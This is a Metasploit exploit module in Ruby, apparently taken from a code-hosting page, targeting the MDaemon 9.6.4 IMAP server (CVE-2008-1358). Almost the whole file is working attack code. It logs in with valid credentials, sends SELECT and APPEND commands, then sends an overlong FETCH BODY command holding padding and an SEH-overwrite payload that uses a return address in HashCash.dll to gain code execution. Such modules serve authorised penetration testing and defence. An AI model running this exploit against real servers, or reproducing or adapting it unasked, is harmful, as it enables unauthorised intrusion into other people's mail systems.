Path: blob/master/modules/exploits/windows/imap/mdaemon_fetch.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Imap9include Msf::Exploit::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'MDaemon 9.6.4 IMAPD FETCH Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in the Alt-N MDaemon IMAP Server18version 9.6.4 by sending an overly long FETCH BODY command. Valid IMAP19account credentials are required. Credit to Matteo Memelli20},21'Author' => [ 'Jacopo Cervini', 'aushack' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2008-1358' ],25[ 'OSVDB', '43111' ],26[ 'BID', '28245' ],27[ 'EDB', '5248' ]28],29'Privileged' => false,30'DefaultOptions' => {31'EXITFUNC' => 'seh',32},33'Payload' => {34'Space' => 400,35'BadChars' => "\x00\x0a])",36},37'Platform' => 'win',38'Targets' => [39[ 'MDaemon Version 9.6.4', { 'Ret' => 0x64dc118b } ], # p/p/r HashCash.dll40],41'DisclosureDate' => '2008-03-13',42'DefaultTarget' => 0,43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)50end5152def check53connect54disconnect5556if (banner and banner =~ /IMAP4rev1 MDaemon 9\.6\.4 ready/)57return Exploit::CheckCode::Appears58end5960return Exploit::CheckCode::Safe61end6263def exploit64connect_login6566req0 = "0002 SELECT Inbox\r\n"6768res = raw_send_recv(req0)69if (res and res =~ /0002 OK/)70print_status("SELECT command OK")71end7273req1 = "0003 APPEND Inbox {1}\r\n"7475res = raw_send_recv(req1)76if (res and res =~ /Ready for append literal/)77print_status("APPEND command OK")78end7980res = raw_send_recv(rand_text_alpha(20) + "\r\n")81if (res and res =~ /APPEND completed/)82print_status("APPEND command finished")83end8485buf = rand_text_alpha_upper(528, payload_badchars)86buf << generate_seh_payload(target.ret) + rand_text_alpha_upper(35, payload_badchars)8788sploit = "A654 FETCH 2:4 (FLAGS BODY[" + buf + "(DATE FROM)])\r\n"8990print_status("Sending payload")9192sock.put(sploit)9394handler95disconnect96end97end9899100